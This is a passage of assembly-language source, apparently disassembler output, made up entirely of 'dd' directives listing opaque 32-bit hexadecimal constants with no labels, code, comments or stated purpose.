		dd 2A164BDDh, 0B424CAh,	0E112AAF1h, 1F6ED1D2h, 97EC7D00h
		dd 0E4A2FEDBh, 7F2600B5h, 6192855h, 0D901B368h,	3B86659Ah
		dd 0D8F023C3h, 94030758h, 0FEED76C0h, 6B838F09h, 0D3C8911Eh
		dd 0F514AF1Fh, 71C85A24h, 0D1EFF41Bh, 0DCB3B82Eh, 17F0063h
		dd 0EA797036h, 5A000C4Ch, 0DF819C28h, 2F044F40h, 23765F90h
		dd 5EC51104h, 779DBAC0h, 0E69A268Dh, 4028ADh, 0B1083ACDh
		dd 685A9EE7h, 54CC5Ch, 7B88C0D7h, 9FF0D8CBh, 0E4003150h
		dd 3D40A1B9h, 373E65h, 6D751F41h, 0AFD53219h, 1D0D0800h
		dd 1A8202E1h, 2676006Ah, 2B13C762h, 9300D0AAh, 80B82D5Dh
		dd 4743E5Fh, 84E165C2h,	8C3880BCh, 7D3BBAA6h, 0CF510346h
		dd 83F47F05h, 31AED8CBh, 0EF5B24C7h, 6DC40A52h,	386807C2h
		dd 0F700CB24h, 0F5E5E4FEh, 1AC530C0h, 0F8265Eh,	94FDDDF1h
		dd 8BF48430h, 8A4AFC00h, 6FD4A1E3h, 0C5F490h, 549710A8h
		dd 9645CE63h, 0B43F30Bh, 0B2C901D6h, 0C8214A6Eh, 0F611B0D8h
		dd 495D00A7h, 3F4647F3h, 2F00E39Dh, 81A4B10Eh, 4ABBCh
		dd 0D05986E2h, 89C0E469h, 0ED7FE52Ch, 0FEF6B203h, 0C975C84Fh
		dd 90990325h, 0A301AB51h, 50F8EEF3h, 0F900DE87h, 27520F7Fh
		dd 75FB5581h, 38F80585h, 0C03543E8h, 9673773Bh,	791E8B00h
		dd 0B4D09D3Dh, 24AB09D2h, 0E0209372h, 0C9E89CB3h, 0BA00C098h
		dd 774CB50Bh, 1847B9h, 345B4250h, 6074A036h, 97540E00h
		dd 8AF79C2Ch, 0AAF258h,	0D26BA7ACh, 82B59F03h, 758FFE12h
		dd 52E51801h, 3600B2F0h, 0FC0031F8h, 0DC084658h, 3DE71C8h
		dd 0AFACFF1Fh, 97F224BEh, 3500CC74h, 0DCA68A14h, 0F50300A3h
		dd 9C6B151Ah, 0FB009BE4h, 3C62F44Ch, 705E1155h,	1D56072Ah
		dd 4081A6B7h, 14BE2E13h, 35033C90h, 0E4E1EB70h,	28210126h
		dd 7D5C0A1Eh, 465DF41Fh, 68DEB826h, 1009730Fh, 8881EF00h
		dd 0A119CFF9h, 43F7CA01h, 6B95F642h, 203F2083h,	60F04739h
		dd 0D7002413h, 97763359h, 60E50D27h, 0BB0382Eh,	0C93EA047h
		dd 28EF001Bh, 40D87552h, 65D4060Ah, 0F076DD9Fh,	0C72B9300h
		dd 0F1F4AEDAh, 0BC43D92h, 7706700Ch, 0C2008E20h, 63152C20h
		dd 1C48D686h, 4050231Fh, 61A03ED8h, 76004F75h, 0EC41E2A8h
		dd 73725919h, 1FEBE4AAh, 5F7ACDA6h, 55148B04h, 259C6280h
		dd 0ED3C9DD8h, 86C8AEh,	0F73BE951h, 1D0E124h, 203DF3C6h
		dd 0CCB96EDBh, 6C005D70h, 65DF4C9Ah, 31AF9EAh, 3D17235h
		dd 0ABC8DB3Bh, 0C50FE331h, 6099BED7h, 0CB7E44F2h, 50EE3F81h
		dd 0AD90F980h, 0F311F69Eh, 664CD800h, 24581BE7h, 0BE3B0006h
		dd 30926703h, 8DB08229h, 179BCC07h, 0F720B983h,	50ADDE22h
		dd 8FD3A0h, 4C78B78Ah, 485F9FDh, 7AE78D00h, 0EBC3E5DEh
		dd 0D2E900CAh, 3F53ADDBh, 0A7E0B248h, 6522F100h, 0BD175523h
		dd 9EE0035Ah, 47DEBC40h, 0CD7F3FD8h, 5812C0F7h,	52A69201h
		dd 490C62B1h, 3F2720h, 0B7AB8D55h, 0D16E355Fh, 8DD4293Ah
		dd 0D8CC69CDh, 0B09783E4h, 86F8026Bh, 604330E6h, 947D1843h
		dd 0EE28D807h, 528FE0E2h, 0C068B841h, 2C60AB11h, 0E90500F0h
		dd 0DCE78436h, 1B002CCCh, 7D998C08h, 201A216h, 0F2C58E95h
		dd 0B0489EC7h, 3F588A55h, 0A2580078h, 0C2B00BEAh, 3DA73FE4h
		dd 823A6E04h, 1EEC8029h, 0EF024269h, 0E83B91C7h, 0FFC740F0h
		dd 81580016h, 0BF0BB632h, 7E42694h, 0F4623900h,	37CE1C1Eh
		dd 382A3959h, 5446324h,	893172h, 0A118359Fh, 4037762h
		dd 6B0FCD8Ah, 0FA49D8F0h, 34B7034h, 0C42475C0h,	463A4369h
		dd 8868803Bh, 2C077C1Fh, 0ECF5001Ah, 15AD656Fh,	2B0145FFh
		dd 0D29343C8h, 0FC609FEDh, 6C4C0F0Fh, 8D008133h, 9E99B3D8h
		dd 0DD01F07Ch, 0C88270E9h, 0C1D01020h, 3F2A0093h, 0B01F81CFh
		dd 4900F34Eh, 5343904h,	0E4EC18B7h, 1AAB810h, 858FF877h
		dd 0E8D935C5h, 325CC6D6h, 2B23002Ch, 973BD2AEh,	0CB880B8Fh
		dd 800B70Ch, 354C893Dh,	57A1F600h, 7199B5D7h, 46221561h
		dd 0CA00B4D6h, 73636E14h, 954CA5BEh, 0F3007C08h, 0D63D93C3h
		dd 34B3CDAh, 0B9C4D918h, 0DFA0CED4h, 14098260h,	805D6FFDh
		dd 3E4446EEh, 13150ADDh, 0B436CEh, 8E69032Eh, 1C90EECDh
		dd 114ACB00h, 7EA3238Ch, 507D00C7h, 0DDB763E9h,	0A11D8E6Ah
		dd 0BC0026EAh, 3F9070A2h, 964A057Ch, 80455C75h,	0AF9EE454h
		dd 137E2E0Fh, 73174012h, 13FE9560h, 218211E6h, 0E4D3A1C4h
		dd 2A00581Eh, 0CAFE3B25h, 2DCE51h, 7945FBFCh, 0A4B25914h
		dd 0C31A5E00h, 0C7AC2995h, 76EC484Ch, 0C06CD81Eh, 0F631C2DCh
		dd 7B039DC5h, 0E80FAD14h, 0F43DA83Ch, 4B421D70h, 0CFD844B9h
		dd 5C87C202h, 87657C40h, 0F8843C00h, 0AA4D943Eh, 0FF790053h
		dd 4488C8D5h, 0CB87B6Ah, 0F53025h, 39EC1C88h, 739D00CCh
		dd 17B4AD3Eh, 0B8FCA1C2h, 0F3434EDh, 8E5720Bh, 0E2680080h
		dd 5A024h, 1CBD6FB8h, 7CD35CA4h, 7D034E16h, 69405B1Dh
		dd 51C9E3F5h, 0C05F0E13h, 0D9805B91h, 572BE841h, 8BF74E0Bh
		dd 88108015h, 7C7A8F2Eh, 0D89C3FE7h, 8EBAA580h,	0FD50CB53h
		dd 92865A01h, 0CA954408h, 4A5C880h, 68D25C8Bh, 0E5BA4600h
		dd 92EE4754h, 0DA6100AEh, 2137F1ACh, 7EE568Ch, 7D008FE8h
		dd 0C9EAE8E0h, 0E5B14F3h, 0F8861EA8h, 3A83F1C0h, 4A7E91D7h
		dd 0E502F25h, 0A8960D4h, 0E7AAF77Eh, 0C917D460h, 0F680E5B0h
		dd 0B9D9324Bh, 78008CB8h, 507241A0h, 0E6F8546Fh, 0FFF600C2h
		dd 6BEED15Bh, 4D05CCB9h, 78CFFC98h, 0D945D9C0h,	906100EAh
		dd 8B01630h, 4D0001F4h,	1825F0FAh, 0C25C6804h, 0E5156589h
		dd 6CCF8C70h, 0E042177Bh, 5A98632Dh, 0AD160000h, 1936BCE9h
		dd 1E1CA087h, 0E0C03124h, 8C71812Ah, 0B67B0022h, 903ACD0Ch
		dd 0B00C811h, 73F75D59h, 0FDA9DD4h, 0D7B414A4h,	33C79BA0h
		dd 42658BA5h, 0CC206189h, 8CFCE9h, 30150F94h, 591E6E32h
		dd 3AE8AB03h, 0B00ACB2Dh, 7CB62E97h, 864A0B47h,	0A0A0CEC3h
		dd 44381F08h, 9E1BA600h, 0D57B805Eh, 0B4EC4942h, 0AC1F2500h
		dd 13C0030Dh, 714CB8A0h, 0FCEBAE17h, 74B08D00h,	3A14E6D1h
		dd 0C7006CDAh, 2FFEC0A3h, 0A9006E6Fh, 74026D57h, 160D83Dh
		dd 0AB3CDE3Fh, 8047C15Ah, 0A8AACC9h, 49304F10h,	9F00F8DDh
		dd 6D44B75Ch, 0B30CAAE7h, 38512814h, 0D2624417h, 0D9291514h
		dd 3A7E1DC4h, 0A095D606h, 0A4670440h, 0E038FB86h, 0B000D7CCh
		dd 779BE2FCh, 0DD023FE9h, 4F510029h, 53F37B5Fh,	1CB0D600h
		dd 645D2040h, 6914006Dh, 42EB2FECh, 2A1E097Eh, 0E3C0D88Fh
		dd 0CE121C61h, 0BC6D006Fh, 1DDE89F9h, 5B612C5Ah, 20219B70h
		dd 1804AC51h, 0A8C51024h, 3D408D8h, 0B73BA567h,	0B6C882F5h
		dd 2CE05EFDh, 2126D00Ch, 51B89Ch, 69CA0C3Fh, 0BDFCB62Fh
		dd 0EDEAA000h, 4F64CC98h, 57EB008Eh, 92930A41h,	0F802E9BBh
		dd 0F7FAA3ECh, 0CA56C0F2h, 0EF99870h, 9E725496h, 0F560F38Fh
		dd 197A2E74h, 1503C8F2h, 2D7CA05Fh, 0A750D79Fh,	628843h
		dd 81BA217Eh, 0C6E12861h, 0AE1D5871h, 66C045B0h, 0F957608Dh
		dd 0BE1500D3h, 0CD5B8EFDh, 0B82D086Ah, 51142002h, 85CCB3Ah
		dd 0F12E06F4h, 81E8EB89h
		dd 6EC6BDD0h, 78D17C34h, 2DC71D7Ch, 0B5B44A44h,	9CF300D8h
		dd 226DE0ADh, 0FE24C900h, 9336CB06h, 8414817h, 0C064B200h
		dd 168FEB92h, 96DE4922h, 4FB700A4h, 0C5876745h,	5F11A601h
		dd 9541234Eh, 587584E8h, 0C0074C4h, 0F73E4A8h, 0A5CB978h
		dd 0BC10B41h, 9ED00006h, 9037EF81h, 0BC80007Dh,	0D03C86ADh
		dd 0B400A119h, 49AFFBC5h, 5670Dh, 10137928h, 99E49C89h
		dd 0B49F0C24h, 40190689h, 3DFF7BCh, 0ED81A41Ah,	93F85B21h
		dd 0A8165E1Dh, 0F400B6FCh, 6232B99Eh, 71F005Fh,	37E2DEADh
		dd 790054B3h, 0FBB1F365h, 0EA123E1h, 57303B08h,	5683860h
		dd 409266F2h, 6C2DA400h, 0A124E5B3h, 0EF7A3E49h, 4225BC52h
		dd 6F1BE400h, 1402EB33h, 0B1548156h, 470AFh, 72DCEE2Fh
		dd 4BCB0AD0h, 9E6FF63Eh, 0C1C037ECh, 2BF23D3Bh,	147A02A2h
		dd 4DA6A50Fh, 1C498D60h, 0EC848318h, 8CB788h, 24EE8D4Fh
		dd 522A665Ah, 3F3E7F00h, 700CCDF9h, 0F2DF18A5h,	0DA48AE4Fh
		dd 0ED6ED116h, 0A817B440h, 0E63EE710h, 0F53A00E9h, 129E4B0Fh
		dd 0BA005682h, 3F91E8C2h, 2C3CD87Dh, 8000E99Fh,	5BAF4E61h
		dd 0DC008DB4h, 6F252BDh, 4FF540h, 986D15F0h, 761FA5ECh
		dd 0DAE85Ch, 38306FBAh,	0B869B064h, 31130078h, 0E05394D0h
		dd 210088F7h, 2FF6739Fh, 0AE2055h, 14E2ED7Bh, 82051E8Bh
		dd 3EC31609h, 10048C46h, 264F0013h, 6FE4DD71h, 723E5329h
		dd 0AD8B802Fh, 6D4E4955h, 0B5440021h, 0CA25E371h, 50007876h
		dd 6B23C929h, 60330D58h, 0E0281820h, 8700ADBEh,	0A6131214h
		dd 7595F2h, 7F3727BBh, 0D842862Eh, 0EB9D6B07h, 88106DAAh
		dd 0FA5C9420h, 7BC7003Bh, 36A4FC57h, 8700E602h,	565444EDh
		dd 9A019268h, 83AF16A8h, 1CBC8035h, 90A02DACh, 0A005FB8h
		dd 0E38519E6h, 34D9EEh,	0FC14079Dh, 0E288ABD8h,	1081D000h
		dd 16138C80h, 0DBF073h,	0C5BD3AC3h, 1B535957h, 91B23Dh
		dd 94E470CCh, 17F6EA2Bh, 5474EFh, 269FB458h, 700D877h
		dd 59464A11h, 0F2A52B2Fh, 68B8F7h, 0E3A7603h, 487E1AEFh
		dd 0C801C2F6h, 38CBB42Ah, 0F440DB82h, 0B846ECh,	5FF9C786h
		dd 0C236F8EAh, 0A540041Fh, 59F49F40h, 776691h, 3E7C80B2h
		dd 0CF906FC4h, 0E47585E0h, 33580300h, 51B3EB93h, 0B4DF099Eh
		dd 64804C45h, 3B07F561h, 479FEC00h, 96C1E87Ch, 48E3001Bh
		dd 50D5DBB5h, 145879D9h, 30820794h, 0F0109E29h,	0B9BFD1h
		dd 497D9A84h, 14280110h, 588529C3h, 0D0CEC393h,	0F468CF91h
		dd 3FDB0326h, 0D5806248h, 2ABCF0DCh, 0C8169707h, 4590635Bh
		dd 988DFF44h, 0ECB90144h, 9B0B0732h, 9E402061h,	7DF03C9Ah
		dd 154FFC00h, 0FB27E3D8h, 38B0001h, 0B2B6CB07h,	0CF2E2842h
		dd 0EE165270h, 74507D18h, 0ECA8191Bh, 605778AAh, 5C1E3251h
		dd 4E8304B0h, 0E07E3E65h, 8F767Ah, 0D37FDE47h, 24B36869h
		dd 5E65C116h, 5B037892h, 5B7700B0h, 0ABD9A887h,	0BA19C8F7h
		dd 367BCD09h, 0FFF0C848h, 0C9C2005Ch, 2ACBB3A1h, 1D003A91h
		dd 1380C08h, 342FF79h, 30EF8F6Ah, 57EF746Ch, 1588B084h
		dd 0A10107DBh, 670378F5h, 0D2C51A8Ah, 32EC1DF9h, 0B1E481h
		dd 0E7DDBF51h, 5CC1362Bh, 744AE109h, 0DFB480FAh, 27F3C2h
		dd 0BE8973EBh, 5FA5CF76h, 980CFDF8h, 191704CBh,	80A60DC3h
		dd 0D0111DD6h, 0E30F958Dh, 6C689ABDh, 0F8196Ah,	11CC0ED4h
		dd 0CB28DA6Fh, 0FB671213h, 185A5302h, 0A09484C1h, 0E0A61482h
		dd 0F37AC5h, 0F461400Eh, 31487815h, 3500ADB0h, 0C030C58Fh
		dd 7CAA4E93h, 0D5B05Dh,	61883B12h, 29A0F344h, 5C1EE03h
		dd 0E0C8DF2Bh, 2C479E10h, 3407315h, 4FAB1A7Bh, 74F7F9E1h
		dd 0F800CD84h, 466C6199h, 7C721Fh, 9BD87FD7h, 0A67458ABh
		dd 2E77E900h, 4F0D9ADFh, 0D53C0160h, 0CC63858Dh, 0E4AEF516h
		dd 0FC00DEBCh, 5174F03Fh, 564D1Dh, 84ED2A04h, 0B2BE81A5h
		dd 0F32B6300h, 7F1306B8h, 0E2E29096h, 0E89A0072h, 0D338D99Eh
		dd 8027529h, 0FD6CA718h, 90C4C06Eh, 7E21004Dh, 65C276ADh
		dd 0F6147F41h, 5EC052Ch, 0E091C143h, 38AAE000h,	2E9E6D2Fh
		dd 89448741h, 0E00444DBh, 0DA14900Ch, 7900B0B9h, 0A34AF9C8h
		dd 1FCD5DB8h, 40A4750Bh, 4010E856h, 0E03C992h, 4268D25Bh
		dd 57D8D039h, 9898FA54h, 7B330E3Ch, 23A1DBE6h, 0F0AAE91Eh
		dd 677706D6h, 5E98FD67h, 4F20F630h, 28C10005h, 0AD171582h
		dd 0B3071B0Eh, 3C3F23FAh, 0A0548FEFh, 9093D6D7h, 0AC3E0476h
		dd 817F6812h, 80CAE220h, 0BA309452h, 49D480h, 842282EDh
		dd 0E5D61224h, 76BCE909h, 295C80F9h, 659C074h, 0DD2ADAFDh
		dd 38004922h, 0EB86CC90h, 345E1Bh, 662D57C4h, 0F6C2427h
		dd 5DC03902h, 80A146F3h, 0C11D429Ch, 2C6FC7Bh, 6D24CDFDh
		dd 2C60CBF6h, 0FA002EF5h, 0D1506344h, 85A1BCh, 5708ACD7h
		dd 6624FC0Ah, 3F5E6400h, 0E54667FEh, 0D60B001Dh, 26A1182Eh
		dd 8E00319Bh, 0C44C15D3h, 387507Bh, 9CBC450Dh, 0B3E8547Eh
		dd 0E4FBCBC0h, 11008C2Ch, 0F5D21876h, 11C9C132h, 48E5301h
		dd 75A1A43h, 3D4A50B0h,	85819C0Ah, 879B9A56h, 372C7049h
		dd 54BFAC02h, 40D3C097h, 5EF7B8Ch, 9438ED05h, 9A008157h
		dd 0DEA08080h, 3A238F9Bh, 453B00DDh, 12377721h,	0CD009D2Ch
		dd 4D94C502h, 18A046E5h, 50CB7DF6h, 0FCBEA7C0h,	2001BC00h
		dd 7A3026B4h, 5BC25875h, 6BD050Fh, 67E02D07h, 0BF7880B5h
		dd 0B9008F14h, 90E26B2Fh, 80F968h, 69CCDF5Eh, 0C97C9EFh
		dd 7CE02903h, 0C040EA85h, 0AAE191h, 5FD68A9Bh, 3E026973h
		dd 8C0C9300h, 98AFE060h, 0DC40097h, 771A159Ah, 0A570E1C3h
		dd 5404E978h, 0CC6DE899h, 0A7E4EBC0h, 0E4F008Eh, 0DEACB416h
		dd 521D83FDh, 12092544h, 132840DFh, 0E8B60017h,	424E3C82h
		dd 4C02CBF9h, 0F8266CB4h, 13406014h, 20956Eh, 3E4A382Bh
		dd 67C6E203h, 801E76B1h, 83EE08h, 10D098FCh, 0D5D89C2Ah
		dd 0C38573Ch, 109BFDF7h, 0B23C02EFh, 2D209DD6h,	0E700F85Ah
		dd 32C397A5h, 0F972F4F7h, 7E8208D0h, 779A1F53h,	2F210A6Ah
		dd 44120018h, 17DE0C98h, 7A005FE8h, 43B3A958h, 0EAF05C50h
		dd 0A0371B88h, 410120E8h, 3F8C72EAh, 0F980EEDEh, 1B58AC5Fh
		dd 0F0043FFh, 0B4C6B789h, 74CB92h, 0AAB21A79h, 70DDE1DFh
		dd 40D41303h, 0D29AD3F9h, 0F09E43A1h, 4BBFCBh, 0F3D6EE4Eh
		dd 43F4D937h, 0C680BD00h, 71DD4123h, 0FE979848h, 0F0FF009Ch
		dd 664649C7h, 5F0034F4h, 0E6A15C02h, 514BA6h, 0F06C5DB1h
		dd 14C67269h, 88E9EC00h, 22DFAD9Dh, 0CFE016h, 0A80C5784h
		dd 2985052h, 0FA626000h, 0D02C5F9Ch, 0B97800FFh, 5A01F5F1h
		dd 0A67C428Dh, 0E6E4C598h, 0EB87DD00h, 41864535h, 0D96600E3h
		dd 6CF30352h, 0B8071CCEh, 719AD131h, 0E3B4EC0h,	9C29046Bh
		dd 0B0BD77B2h, 0F200DBF0h, 7CE5418h, 6446610Ch,	0E0DE0858h
		dd 0ED01FD0Ch, 571DA918h, 19DCF33Ah, 0BAC6015Bh, 0F6E12CE3h
		dd 4358804Ch, 0A35EE9F4h, 31BB809Ah, 6D303D05h,	0F3C3DE3Eh
		dd 124CF3CCh, 0E476CB90h, 0B10007C4h, 0A6AF5479h, 3CF1D994h
		dd 8024231h, 0D144D41Dh, 779B2880h, 0A1008709h,	0CCC06B0Dh
		dd 4D29043h, 0B5ED69Ah,	0F8808884h, 3CA0F9B8h, 9C33F722h
		dd 1F20959h, 7C4F9821h,	0CC07B51Eh, 0B30031A7h,	58F6694Bh
		dd 0C0F083BDh, 43E72829h, 9106AF9Fh, 58513B72h,	73B000B9h
		dd 1B550E25h, 7B003771h
		dd 98711DEh, 5D5799h, 0CFB6AB4Bh, 0BCACC05Eh, 77C84260h
		dd 0E87A59Eh, 0B056A3E1h, 45CCB8E0h, 5000C0D0h,	22650F36h
		dd 0AA7604h, 93F0C81Eh,	35A2F72Eh, 4CA5EC00h, 0E0F31575h
		dd 903EB0EAh, 0DA3E007Dh, 63FAF2FFh, 0A71FF0F5h, 9CC05C5Dh
		dd 14E7D60Ch, 0DAA90711h, 50B66AF9h, 0C3DB8CB0h, 713ED03h
		dd 0B08ACCD1h, 0DA5C39h, 6A9E9A7Eh, 0D22BA3AAh,	9FE4E20Fh
		dd 1EF8A0EEh, 198366Ch,	0BAF704B0h, 70E89E4Ch, 903A13FEh
		dd 800E3FF4h, 0E7B34D58h, 55DE0F1h, 0AC59CDC2h,	0C081C7DCh
		dd 1AD43687h, 4F7C357Eh, 4D41DB14h, 7EAA100Ch, 42626588h
		dd 0C59117Ch, 10E9868Ah, 40A60D0Eh, 8A7DB686h, 3C575440h
		dd 74DC40h, 8EB8284Dh, 0B5E5BEA4h, 0E621D660h, 64DCF06Dh
		dd 43505020h, 0A6FB13D8h, 93DE3A39h, 20E0EB87h,	6B398071h
		dd 0E7065B5Eh, 94EAD586h, 9651C78Ah, 630D82F0h,	8BEB0887h
		dd 0DE11518Ch, 455DF412h, 7AC3F700h, 54C0FC4Bh,	10149494h
		dd 393AD9EDh, 57A03Bh, 0EFB9AE5Ah, 9EDDA760h, 63485903h
		dd 666B079h, 0FAD510B1h, 0B22385Bh, 0E35CEC88h,	0B4E07985h
		dd 0E1B020C0h, 0A20051FFh, 1B71FCC5h, 7CCDFAh, 99E0E62Ch
		dd 88FBFED5h, 0B7E97202h, 9ECCDA78h, 0C65AE214h, 79950BC8h
		dd 21018C73h, 0D7BF73C2h, 8040DC20h, 0A0AFE38Eh, 147D048h
		dd 352D55E0h, 20FE8C38h, 3207D8A1h, 0C085886Fh,	0BF94CFC0h
		dd 8A8701B2h, 103FFC03h, 5840BC6Ch, 93D044AFh, 33D8521Ch
		dd 0B21D8E00h, 1F063A95h, 672851h, 0EE708D1Ah, 0C975367Ch
		dd 20505404h, 3D4078AFh, 95E7F853h, 9459CF07h, 9200F9F2h
		dd 3B6289Dh, 0F06821CEh, 9E8D81Ah, 38F0B5D2h, 2B5362FCh
		dd 0D81F07B4h, 8240B60Ah, 0B98E5DDh, 0BA51ACE1h, 0A58E00D7h
		dd 0C0780E5Ah, 0D5706C31h, 4F07C167h, 681CC558h, 5222BC70h
		dd 35097185h, 0CA159B0h, 0BF392A14h, 0C4E05C54h, 21E0BE02h
		dd 0A0A34018h, 0B0E88384h, 26850022h, 338EB367h, 0E101210Ch
		dd 0DB412BD8h, 41A456BFh, 8E790041h, 43783C8Ch,	0D9321000h
		dd 0E7EA7B2h, 4C923Bh, 2F1CAF82h, 5DB89A6Eh, 79D3C603h
		dd 0A2428938h, 77A6E125h, 0D4B41080h, 0ED21E881h, 49334390h
		dd 0A508B5h, 81D66B21h,	7924FA4Eh, 0AC8EE400h, 0E2EB408h
		dd 0D47A03BCh, 0A2C63876h, 5EC53100h, 0A8E8823Dh, 1D36002Ch
		dd 17026A95h, 731865DFh, 0D42880C1h, 0ACC20043h, 0F26A8A4Bh
		dd 0E30348FCh, 0C106CD5Ch, 78590C62h, 6531742Bh, 20A8B9F0h
		dd 31FE11F3h, 0E981271Fh, 0A6198218h, 41B70271h, 12AF3CBFh
		dd 1F5392E0h, 0E45D320Eh, 0FF0DA142h, 52E92F20h, 60974CD0h
		dd 0C10A7178h, 34F4E512h, 0F91C4E0Eh, 0BBE1E087h, 545763Bh
		dd 0BC84A1CEh, 0AB7C081Bh, 98A58887h, 2BF219B0h, 98FAFA14h
		dd 324EAC2h, 447F64C3h,	72A0D645h, 611DD074h, 0D4432702h
		dd 89583Dh, 0E6149451h,	7D430A64h, 1F773907h, 0A2239642h
		dd 0DC7589C2h, 0BAF88849h, 1BD37415h, 40CDB153h, 0BF06E3E0h
		dd 1E42A0A6h, 0A046710Fh, 92D23F00h, 3E31B49Eh,	881F488Eh
		dd 4893194h, 0DBC6C3FAh, 0C1100717h, 0C08ABA1Ah, 7BF79CDEh
		dd 6A978101h, 413808A0h, 9064C070h, 6527544h, 32E1D365h
		dd 0D64429E5h, 0F0790170h, 0C09C96D2h, 99C33082h, 2E413401h
		dd 36B7665Fh, 17A58DCh,	2642A581h, 807CB00Ch, 0C7740530h
		dd 1F211595h, 404067A7h, 4E5FF928h, 0E000A389h,	63F7EA4Ah
		dd 0A218D8h, 0C7E94194h, 90CBC8F5h, 11AB4600h, 96D8EBBCh
		dd 0E35D0045h, 0CA01D4F6h, 9C0034D3h, 8B943529h, 11DC83Ah
		dd 0D06EACB4h, 0E8634FFEh, 800757Bh, 0B04C1EF4h, 0F2D3195Ah
		dd 0FCB91C9Eh, 8ED100B2h, 64EC5EB3h, 86421300h,	7C9251A6h
		dd 2C9400C8h, 0C7332A2h, 0AA00EB5Ch, 2A4FD9E6h,	0BF781Fh
		dd 201B0E5Eh, 97726E9Eh, 86093Bh, 7E0C2A22h, 7B16153h
		dd 8AB3F50h, 0D7CBE0D9h, 42F8D29Fh, 0F1005A7Fh,	0EF21FBE7h
		dd 3F4FBCh, 6C6336CAh, 0B808807h, 3767C900h, 76F8E9ADh
		dd 0E4C80074h, 9433D6C4h, 0B9007D35h, 72E82855h, 3C46F091h
		dd 0C8803B73h, 0FACD058Dh, 6800CAC7h, 7C910F48h, 515877h
		dd 1E974908h, 7AD3B046h, 7C484C69h, 7FA80096h, 92085250h
		dd 2C7E4312h, 13442841h, 80C0A7CAh, 84BF09D9h, 9F80B934h
		dd 0D3AF8D68h, 7CB66200h, 49EF0C86h, 97BE0073h,	9A95DEC2h
		dd 6D03CB89h, 133F0382h, 0B9FDB852h, 0C2740910h, 5C2147DAh
		dd 0E437CD2Bh, 7D0004C4h, 401A7E41h, 0F5080Eh, 2E601C9Ch
		dd 0D56C124Dh, 0C3E4CA00h, 7C811DD9h, 0A69F0027h, 0AB45A5C4h
		dd 77001651h, 0F9E3BA9Eh, 0FB34E8FDh, 0C8C86A61h, 3E6EF0BCh
		dd 42802D75h, 0AF6863D8h, 1F2AEE8Bh, 0DB009401h, 15207EF9h
		dd 77DC5FFh, 89D324FDh,	4F33106Ah, 5F008722h, 0D4C19103h
		dd 6E7A78h, 0D2899E21h,	68C828EEh, 0F3EFA601h, 906BCBD7h
		dd 4B462880h, 0D94C240Fh, 0B16DC909h, 43D82F20h, 0C86259D8h
		dd 0A0FA6B1Ah, 725B9E4h, 74BF9A4h, 339460F5h, 0B20302E6h
		dd 0CC668FEAh, 515B8C2h, 34230296h, 0F4C5171Fh,	20D91449h
		dd 900342CFh, 8F51D6A3h, 46480E4Ah, 0B280D5E9h,	0B97CAA5Bh
		dd 0E263701h, 294042CAh, 352CFC51h, 49B8DA13h, 0A39149Ah
		dd 0B12F8095h, 66A1BB9Dh, 153CCC59h, 0F81DD158h, 35007873h
		dd 1FE253FFh, 25313370h, 928AEA49h, 6A44A840h, 0BFE0DB50h
		dd 33D79500h, 0D043769Bh, 7021C79Eh, 5C385971h,	0F290395Fh
		dd 0B0C92A60h, 17D19E8h, 9993322Eh, 0C413375Ch,	0F0AE5011h
		dd 0EA82AC88h, 46638A00h, 1F6D7399h, 0AC7A00E6h, 2E1E9E76h
		dd 0E0E792AFh, 60C03111h, 94325C5Dh, 29BCEC22h,	0ACEA42h
		dd 7A33CDDFh, 6F297F43h, 0BE0F905Bh, 53C480F5h,	5DCD2C76h
		dd 0B00306Ch, 0B59A7558h, 3000E0BFh, 0AE62484Dh, 5ACE6D7h
		dd 573E1FC6h, 5CF44001h, 8F7DCD5Bh, 0D412DD38h,	9E127480h
		dd 9C30D851h, 157B418h,	0ED8AA016h, 0E0E15EE3h,	140002F7h
		dd 0A673D595h, 125FBBDEh, 405BBA1Fh, 0DD99F634h, 341F9049h
		dd 0F703F466h, 38F9D13h, 65E75669h, 0DFA8E34Ah,	690ABB6Ch
		dd 0EC7D8543h, 3CD178E4h, 0BEEFD310h, 0EE4700E8h, 0CCCF5FAFh
		dd 0B7064B59h, 2729F2F7h, 9A3F01D8h, 187B55E1h,	95688012h
		dd 8680934Ch, 1E2600A2h, 85D89B67h, 700FE83Bh, 9EC2D473h
		dd 0A1843D89h, 0DDA0FA0Ch, 0BBD4AC4h, 0B645B772h, 0DABBD420h
		dd 3B007B64h, 9E0CEB56h, 90BE734h, 3E4ABD18h, 0DC958403h
		dd 0E4CB46D0h, 0F00DBC32h, 34CBE09Eh, 0C03891A0h, 963FEA8Bh
		dd 1042FB2Bh, 0D4AB7B00h, 12B14EEFh, 49818ECEh,	981A5074h
		dd 705AC18h, 0F7363C00h, 0DAFB7AB4h, 0EFBE0CF1h, 4B200EB1h
		dd 5AE0B09h, 0A850943Dh, 0C4DD3Ch, 457E0527h, 0D8855013h
		dd 0FC1EB3Fh, 0E0346AA4h, 9BE77774h, 0B2D0018h,	41D82C71h
		dd 0BB00818Bh, 63D7D37h, 0E4D3A920h, 335F0015h,	1E168F13h
		dd 1178578Bh, 241D7F3Ch, 0F5078F9Eh, 0FB105D09h, 0FA85D1h
		dd 25A4881Ch, 0E7EF4504h, 0BB29BF00h, 0C696FEA6h, 5C1500E2h
		dd 4F80FBAEh, 0EEE29584h, 0EF92A101h, 8CDFE544h, 4C96B820h
		dd 3200CC64h, 0AD512082h, 767ECC0Ah, 0C8062573h, 7CB45A33h
		dd 8E5B0080h, 226B422Bh, 953C5086h, 573B80A0h, 0AC7F2EB1h
		dd 370C0025h, 9BC982Ch,	0B3031448h, 616B919Ah, 58FC003Fh
		dd 6056ECC5h, 7B4A96A5h
		dd 0E9134C00h, 1426C770h, 0C008F06Bh, 6CFB1Eh, 0DBE8DF29h
		dd 0BE04B0B3h, 0F4D0448Ch, 9020B20Eh, 9138EA0Bh, 35BC6107h
		dd 0D110ACEEh, 0E657A8A0h, 47C50343h, 38709654h, 38EFA83Fh
		dd 11780D3h, 0F7CE2071h, 0EA9D00C8h, 94A38C28h,	0E8004E83h
		dd 0B74767CDh, 0E26CEB17h, 3E8A03ADh, 0F1BF3003h, 0A95A8980h
		dd 0B48B8D05h, 4AC08EB3h, 0F42E51Eh, 3C689195h,	9A27838Eh
		dd 20C5E034h, 6D008169h, 4358CBC6h, 0EB0844h, 0F51D40B6h
		dd 0D942B26Ch, 4ACD15Ch, 0FF99F0BAh, 607FA492h,	3E8698h
		dd 2DBE8C4Dh, 0C23DAFEAh, 0D30198B8h, 0B74CFEE7h, 0C4349035h
		dd 0BCE30F97h, 7720C0FDh, 38EE0A6Fh, 7C0449h, 0CF81FC6Ah
